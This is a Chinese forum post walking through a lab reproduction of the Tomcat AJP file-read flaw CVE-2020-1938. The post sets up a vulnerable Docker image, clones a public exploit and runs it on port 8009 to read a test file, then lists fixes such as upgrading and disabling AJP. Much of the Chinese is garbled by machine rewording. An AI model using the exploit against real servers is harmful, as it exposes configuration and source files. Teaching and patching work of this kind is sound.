用户名
Email
应用中心
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
博客
Blog
ToB门户
了解全球最新的ToB事件
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
帖子
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
IT评测·应用市场-qidao123.com技术社区
»
论坛
›
运维.售后
›
运维.售后
›
Apache Tomcat文件包罗毛病复现(详细教程)
Apache Tomcat文件包罗毛病复现(详细教程)
宝塔山
论坛元老
|
2024-8-18 13:48:52
|
显示全部楼层
|
阅读模式
楼主
主题
1882
|
帖子
1882
|
积分
5646
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
1.毛病原理
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp毗连器,方便与其他web服务器通过ajp协议举行交互。属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场所下被普遍使用,是
开发
和调试JSP 程序的首选。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,别的它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不外,Tomcat处理静态HTML的本领不如Apache服务器。Tomcat是Apache开源构造
开发
的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat会开启AJP毗连器,方便与其他Web服务器通过AJP协议举行交互。而该毛病是由于Tomcat AJP协议存在缺陷而导致,攻击者可通过构造特定参数读取webapp目次下的任意文件。
2.毛病概述与分析
Tomcat是Apache开源构造
开发
的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包罗毛病,攻击者可利用该毛病读取或包罗 Tomcat 上所有 webapp 目次下的任意文件,如:webapp 设置文件或源代码等。
AJP Connector
Apache Tomcat服务器通过Connector毗连器组件与客户程序建立毗连,Connector表示吸收哀求并返回相应的端点。即Connector组件负责吸收客户的哀求,以及把Tomcat服务器的相应效果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议
在conf/server.xml文件里,他对应的设置为
<Connectorport="8080"protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" />而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。由于性能缘故原由,使用二进制格式来传输可读性文本,它能低落 HTTP 哀求的处理成本,因此主要在必要集群、反向代理的场景被使用。
Ajp协议对应的设置为
<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443" />Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:
Apache 服务器
(1)AJP是一个二进制的TCP传输协议。欣赏器无法使用AJP,而是首先由Apache与Tomca举行AJP的通讯,然后由Apache通过proxy_ajp模块举行反向代理,将其转换成 HTTP服务器再暴露给用户,答应用户举行访问。
(2)如许做的缘故原由是,相对于HTTP纯文本协议来说,效率和性能更高,同时也做了很多优化。在某种程度上,AJP可以明确为HTTP的二进制版,因加快传输效率被广泛应用。现实情况是雷同Apache如许有proxy_ajp模块可以反向代理AJP协议的服务器很少,所以 AJP协议在生产环境中也很少被用到。
3.影响范围
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
4.搭建缺点环境
4.1 Ubuntu
4.2 更新资源update
4.3 安装docker
sudo apt-get update
sudo apt-get install docker
sudo apt-get install docker.io
sudo apt-get install docker-registry
sudo docker version
4.4 安装nmap
apt-get install nmap
4.5 安装Tomcat
docker search Tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32
4.6 查看拉取的Tomcat镜像
docker images
4.7 启动镜像
Docker run -d -p 8080:8080 -p 8009:8009 --name
ghostcat duonghuuphuc/tomcat-8.5.32
docker port ghostcat
4.8 查看ip地址为192.168.86.129
ifconfig -a
4.9 欣赏器可以访问Tomcat页面表示环境搭建成功
192.168.86.129:8080
5.毛病复现
5.1
docker exec -it ghostcat /bin/bash
cd webapps/ROOT/
5.2 添加测试文件
echo ‘this is CVE-2020-1938’>test.txt
ls
cat test.txt
5.3
exp地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
ls
5.4
cd CNVD-2020-10487-Tomcat-Ajp-lfi/
ls
chomd +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
ls
5.5 利用exp读取该文件
./
CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.86.129
测试读取成功
6.毛病修复、防御方法
Apache Tomcat文件包罗毛病修复方式为更新高版本,如今Apache官方已发布9.0.31、8.5.51及7.0.100版本对此毛病举行修复,假如相关用户临时无法举行版本升级,可根据自身情况接纳下列防护措施:若不必要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost;若需使用Tomcat AJP协议,可根据使用版本设置协议属性设置认证凭证。如下:
1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本举行修复。
2、禁用或限制AJP协议。
编辑 /conf/server.xml,找到如下行:
<Connector port="8009"protocol=“AJP/1.3” redirectPort=“8443” />
将此行表明掉(也可删掉该行):
设置secret来设置AJP协议的认证凭证。
例如(留意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被容易猜解的值):
<Connector port="8009"protocol=“AJP/1.3” redirectPort="8443"address=“YOUR_TOMCAT_IP_ADDRESS” secret=“YOUR_TOMCAT_AJP_SECRET”/>
3.设置访问控制:公道设置访问控制是防范毛病的重要措施之一。通过设置适当的访问控制计谋,可以限制对敏感文件的访问,并仅答应授权用户举行相关操作。
4.定期监测和更新:定期监测毛病信息和安全公告,并实时更新相关软件和补丁,以确保系统的安全性和稳定性。
5.强化服务器安全性:除了针对特定毛病采取措施外,还应加强整个服务器的安全性。例如,使用防火墙限制对服务器的访问、启用Web应用程序防火墙(WAF)、设置SSL/TLS加密传输、使用强密码和定期更换密码、禁用不必要的服务等。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
宝塔山
论坛元老
这个人很懒什么都没写!
楼主热帖
分布式事务 | 使用DTM 的Saga 模式 ...
Maxwell 一款简单易上手的实时抓取Mysq ...
Sqlserver2012卸载
哈工大信息安全概论期末复习 ...
WebLogic JNDI注入(CVE-2021-2109) ...
HTTPS基础原理和配置-3
轻量级CI/CD发布部署环境搭建及使用_03 ...
数字IC-1.9 吃透通信协议中状态机的代 ...
[DuckDB] 多核算子并行的源码解析 ...
php微信自定义分享链接,标题,描述, ...
标签云
集成商
AI
运维
CIO
存储
服务器
浏览过的版块
DevOps与敏捷开发
网络安全
MES
快速回复
返回顶部
返回列表